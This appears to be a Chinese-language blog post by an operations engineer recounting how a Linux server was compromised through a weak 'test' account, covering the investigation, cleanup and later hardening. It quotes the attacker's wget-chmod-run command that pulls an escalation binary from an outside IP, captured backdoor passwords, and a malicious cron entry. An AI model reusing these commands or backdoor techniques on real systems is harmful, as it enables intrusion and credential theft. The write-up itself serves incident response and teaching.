通常服務器安全問題在規模較小的公司常常被忽略，沒有負責安全的專員，尤其是遊戲行業，因爲其普遍架構決定了遊戲服通常都是內網進行數據交互，一般端口不對外開放，也因此對安全問題不過於重視。接下來要說的，這是我人生第一次在Linux環境中被***的經歷，此前只有在Windows Server上有過多次***排查的經驗，不適用於Linux環境中，由於自己的經驗缺乏以及安全意識的薄弱，從而沒有及時對已被侵入的服務器做隔離處理，導致擴散到較多的服務器，在此斷指三根以示悔恨，哈哈，開玩笑的，在此總結下***排查過程以及後續事宜
一、事件回顧
這次的服務器被***是一個典型的弱密碼導致的***事件，由於某人員的疏忽，在某臺服務器上新建了test用戶，且使用同名的弱密碼，以便於調試工作所需的腳本工具，就在當天在做腳本調試的時候發現了某些異常的錯誤，使用root用戶無法ssh遠程登陸其他服務器，同時scp命令出現異常無法使用，但其他服務器可以使用scp將文件拷貝到該服務器，之後將問題反饋給運維人員，由我們運維進行排查。
二、排查過程
收到問題反饋，主要涉及ssh相關的問題後，我們運維對該服務器進行排查，發現使用ssh -v中的openssl版本無法顯示，且輸出的幫助信息與其他服務器不一致，然後查看ssh配置，發現配置文件（ssh_config和sshd_config）文件已更新，其內容被全部註釋，這時還沒有意識到被***，悲哀+1，起初以爲同事對該服務器做了升級了ssh版本，後來確認無升級之類的操作。
1、查看ssh版本及相關信息，openssl的版本顯示異常，與其他服務器對比，幫助信息顯示方式有所不同
2、查看ssh進程及其相關文件，ssh和sshd進程文件已更新，ssh_config和sshd_config配置文件已更新，配置文件內容全部註釋，ssh_host_key和ssh_host_key.pub爲新增的文件，其他服務器沒有這兩個文件
3、繼續排查，將一臺正確的配置文件覆蓋至該服務器，重啓ssh服務後，使用ssh命令發現無法識別該配置文件中的參數（到這裏其實應該發現ssh進程文件已被篡改，使用md5sum做比對即可）
4、由於其他工作事務需要及時處理，排查這個事情就被擱置了，直至之後的YY討論問題拿出來詢問了下大神，才意識到有被***的可能
5、詢問操作過該服務器的同事，此前正在調試腳本工具，新增了test用戶，得知其密碼爲test
$ cat /etc/passwd | grep test test:x:1005:1005::/home/test:/bin/bash
6、進行深入排查，使用chkrootkit -q查看Linux系統是否存在後門，發現有異常。協同之前操作test用戶的同事，查找history命令記錄，發現一條可疑命令
$ su - test $ history 50 wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf # 非同事操作的可疑命令，在虛擬機上測試，發現可以無需命令即可獲得root權限 $ w # 無法查看到當前登錄用戶（請忽略我跳躍的思維） $ cat /usr/include/netda.h # 找到一個用戶登錄就記錄其密碼的文件（某大神找到的） +user: bin +password: worlddomination +user: test +password: TF4eygu4@#$ds
7、在另外一臺服務器上，發現某賬號家目錄下有個dead.letter文件，用於將獲取到的信息（系統信息、IP地址、賬號密碼等）發送至指定的郵箱
8、又在另外一臺服務器上部署了一套可疑的程序，估計是作爲肉雞功能
$ sudo crontab -e * * * * * /usr/include/statistics/update >/dev/null 2>&1 # 原有的cron任務已被清空，僅有該條可疑任務
9、找到/usr/include/statistics爲主程序的目錄，其中update爲主程序，通過autorun腳本進行部署，執行crond僞裝成crond服務，使原crond服務隱藏且無法啓動，將cron覆蓋至原有crontab文件來每分鐘執行update二進制程序，mech.pid記錄僞裝的crond程序的PID
三、清理工作
1、緊急修復清理
將準備好的正常的ssh相關文件上傳至被***服務器的/tmp目錄下
1）查看並修改屬性
$ sudo lsattr /usr/bin/ssh -u--ia-------e- /usr/bin/ssh $ sudo chattr -ia /usr/bin/ssh # 修改屬性以保證文件可被覆蓋 $ sudo lsattr /usr/sbin/sshd -u-----------e- /usr/sbin/sshd
2）恢復ssh和sshd
$ sudo cp /tmp/ssh /usr/bin/ # 將ssh進程文件覆蓋恢復 $ sudo cp /tmp/*_config /etc/ssh/ # 將配置文件覆蓋恢復 $ sudo rm /etc/ssh/ssh_host_key* # 刪除新增的可疑文件 $ sudo crontab -e # sshd無法覆蓋，使用cron方式解決 30 3 * * * pkill -9 sshd; cp /tmp/sshd /usr/sbin/; /etc/init.d/ssh restart
3）刪除多餘的文件以及恢復crond
$ sudo rm /usr/include/netda.h $ sudo kill -9 $(cat /usr/include/statistics/mech.pid) $ [ -d /usr/include/statistics ] && sudo rm /usr/include/statistics $ sudo /etc/init.d/cron restart
2、後續安全工作
1）修改所有涉及的服務器的賬戶密碼，之後其他使用同類密碼的服務器也需改掉
2）配置防火牆策略，只允許公司外網IP可ssh訪問服務器
3）對於被***過的服務器系統後期逐步重做系統，避免存在未清理的後門
寫在最後：
此次的遭受***，問題主要是運維安全意識較差，以及防火牆策略比較鬆散，爲了便於遠程工作，像ssh端口未做限制，服務器幾乎是裸奔的狀態。經過此番折騰，也對服務器安全方面做了一次警示，需加強防禦工作，同時也瞭解到典型的ssh後門功能：其一是超級密碼隱身登陸；其二是記錄登陸的賬號密碼。後續還需制定一系列***檢測機制，以防再次出現***事故。